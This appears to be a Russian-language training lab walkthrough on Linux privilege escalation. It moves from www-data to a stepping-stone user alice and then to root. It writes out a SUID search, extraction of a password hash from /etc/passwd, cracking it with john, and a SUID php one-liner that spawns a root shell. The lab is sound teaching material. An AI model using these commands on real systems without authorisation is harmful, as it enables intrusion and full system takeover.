Введение
В этом лабораторном занятии мы научимся повышать привилегии до привилегий пользователя root, когда мы не можем напрямую повысить привилегии до root. Мы добьемся этого, сначала повысив привилегии до привилегий другого обычного пользователя, а затем используя привилегии этого пользователя для повышения привилегий до привилегий пользователя root. Этот промежуточный пользователь называется пользователем-«прыжковой доской» (stepping stone user).
Цель этого лабораторного занятия — повысить привилегии от пользователя www-data до пользователя alice, а затем от пользователя alice до пользователя root.
Инициализация лабораторной среды
На этом шаге мы инициализируем лабораторную среду.
Сначала откройте терминал и перейдите в каталог
/home/labex/project:cd /home/labex/projectВыполните следующую команду, чтобы настроить среду для лабораторного занятия:
./env_setup.sh
Эта команда загрузит и выполнит скрипт, который настроит необходимую среду для лабораторного занятия. После выполнения этой команды вы должны переключиться на пользователя www-data, имитируя начальную оболочку, полученную с помощью веб-уязвимости.
Попытка повышения привилегий с использованием SUID
На этом шаге мы попытаемся повысить привилегии с использованием техники SUID (Set User ID). Мы будем искать исполняемые файлы с установленным битом SUID, которые могут быть выполнены с правами владельца файла (в данном случае — root).
Сначала найдем исполняемые файлы с битом SUID, к которым может получить доступ пользователь
www-data:find / -user root -perm -4000 -print 2> /dev/null > ~/www-data_suid_files.txtЭта команда будет искать по всему файловому систем файлы, принадлежащие пользователю root и имеющие установленный бит SUID (режим прав 4000).
После выполнения команды в файле
www-data_suid_files.txtвы должны увидеть список исполняемых файлов с битом SUID. Проверим содержимое этого файла:cat ~/www-data_suid_files.txt
Однако в данном случае нет файлов, подходящих для повышения привилегий с использованием SUID.
Исследование домашнего каталога
Поскольку мы не смогли повысить привилегии с использованием техники SUID, давайте исследуем домашний каталог на предмет возможных пользователей-«прыжковых досок» (stepping stone users).
Сначала сохраним содержимое каталога
/homeв файл для дальнейшего анализа:ls -alh /home > ~/home_dir_contents.txtЭта команда выведет содержимое каталога
/homeв длинном формате, включая размеры файлов и права доступа, и сохранит результат в файлhome_dir_contents.txt.Затем изучим содержимое файла
home_dir_contents.txt, чтобы определить возможных кандидатов:cat ~/home_dir_contents.txtВ выводе вы должны увидеть каталог с именем
alice, что указывает на существование пользователя с именемaliceв системе.
Попытка повышения привилегий до уровня пользователя Alice
Поскольку пользователь www-data не имеет доступа к каталогу alice, нам нужно найти способ повысить привилегии до привилегий пользователя alice сначала.
Проверим файл
/etc/passwdдля получения информации о пользователеalice:cat /etc/passwd | grep alice > ~/alice_info.txtПроверьте содержимое файла
alice_info.txt, чтобы просмотреть детали о пользователеalicecat ~/alice_info.txtОжидаемый вывод:
alice:$1$ignite$tN3eRajwqVQLh1dDmMVix0:5001:5001::/home/alice:/bin/bashВ выводе вы должны увидеть запись о пользователе
alice, включая хэш пароля.Чтобы взломать хэш пароля, мы можем использовать инструмент
john. Откройте новый терминал и выполните следующую команду:john ~/alice_info.txt > cracked_passwords.txtПример вывода:
Created directory: /var/www/.john Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 1g 0:00:00:00 100% 2/3 5.000g/s 6780p/s 6780c/s 6780C/s 123456..crawford Use the "--show" option to display all of the cracked passwords reliably Session completedЭто запустит процесс взлома пароля. Как только пароль будет взломан, вы должны увидеть его в файле
cracked_passwords.txt.cat ~/cracked_passwords.txtПример вывода:
Loaded 1 password hash (md5crypt [MD5 32/64 X2]) beautiful (alice)В данном случае пароль для пользователя
alice-beautiful. Используйте командуsu, чтобы переключиться на пользователяalice:su - aliceВведите пароль, который мы взломали ранее (
beautiful), когда это будет предложено.beautifulПосле успешного переключения на пользователя
aliceперейдите в каталогaliceи создайте новый файл с именемalice.txt:cd /home/aliceСоздайте новый файл с именем
alice.txt:touch ~/alice.txtТеперь у вас должен быть доступ к каталогу
aliceи его содержимому.
Попытка повышения привилегий с использованием SUID от имени пользователя Alice
Теперь, когда мы повысили привилегии до привилегий пользователя alice, давайте попробуем снова применить технику повышения привилегий с использованием SUID.
Убедитесь, что вы находитесь в домашнем каталоге пользователя
alice:cd /home/aliceВыполните следующую команду, чтобы найти файлы с установленным битом SUID:
find / -user root -perm -4000 -print 2> /dev/null > alice_suid_files.txtПроверьте содержимое файла
alice_suid_files.txt, чтобы просмотреть список файлов с битом SUID:cat alice_suid_files.txtОжидаемый вывод:
... /var/bin/php ...На этот раз в выводе вы должны увидеть исполняемый файл
/var/bin/php. Этот файл можно использовать для повышения привилегий с использованием SUID.Чтобы повысить привилегии до привилегий пользователя root, выполните следующую команду:
/var/bin/php -r "pcntl_exec('/bin/sh', ['-p']);"Эта команда выполнит PHP - скрипт, который запустит новую оболочку с привилегиями root.
Теперь у вас должна быть оболочка с привилегиями root, что будет показано символом
#в приглашении терминала. Проверьте, что у вас есть привилегии root, создав файл в корневом каталоге:touch /root/root.txtЕсли файл был создан без ошибок доступа, вы успешно повысили привилегии до привилегий пользователя root с использованием техники SUID.
Понять разницу в правах доступа к директориям
Возможно, у вас возник вопрос: почему пользователь alice смог найти исполняемый файл php с битом SUID, в то время как пользователь www-data не смог. Ответ кроется в правах доступа к каталогам.
После предыдущего шага у вас должна быть оболочка с привилегиями пользователя root, как показано ниже:
sh-5.1#
Давайте проверим права доступа к каталогу
/var/binи сохраним вывод в файл:ls -lh /var > /root/var_permissions.txtПроверьте содержимое файла
var_permissions.txt, чтобы просмотреть права доступа к каталогу/var:cat /root/var_permissions.txtОжидаемый вывод:
total 0 ... drwxr-x--- 2 alice alice 17 Apr 15 03:48 bin ...В выводе вы должны увидеть, что каталог
/var/binпринадлежит пользователю и группеalice. Другие пользователи не имеют прав на чтение, запись или выполнение в этом каталоге.
Это означает, что когда мы повысили привилегии до привилегий пользователя alice, мы получили доступ к файлам и каталогам, которые были ранее недоступны пользователю www-data. Это различие в правах доступа позволило нам найти и использовать исполняемый файл с битом SUID для повышения привилегий.
Резюме
В этом лабораторном занятии мы научились повышать привилегии до привилегий пользователя root, когда прямой переход к root невозможен. Мы добились этого, сначала повысив привилегии до привилегий пользователя alice (пользователя - «прыжковой доски», stepping stone user), а затем использовав привилегии пользователя alice для повышения привилегий до привилегий root.
Основная мысль этого лабораторного занятия заключается в том, чтобы всегда помнить о различиях в правах доступа между пользователями, так как эти различия иногда можно использовать для повышения привилегий. Хотя в этом лабораторном занятии мы использовали простой пример, в реальных сценариях ситуация может быть более сложной, но основной принцип остается тем же самым: использовать различия в правах доступа пользователей для повышения привилегий.



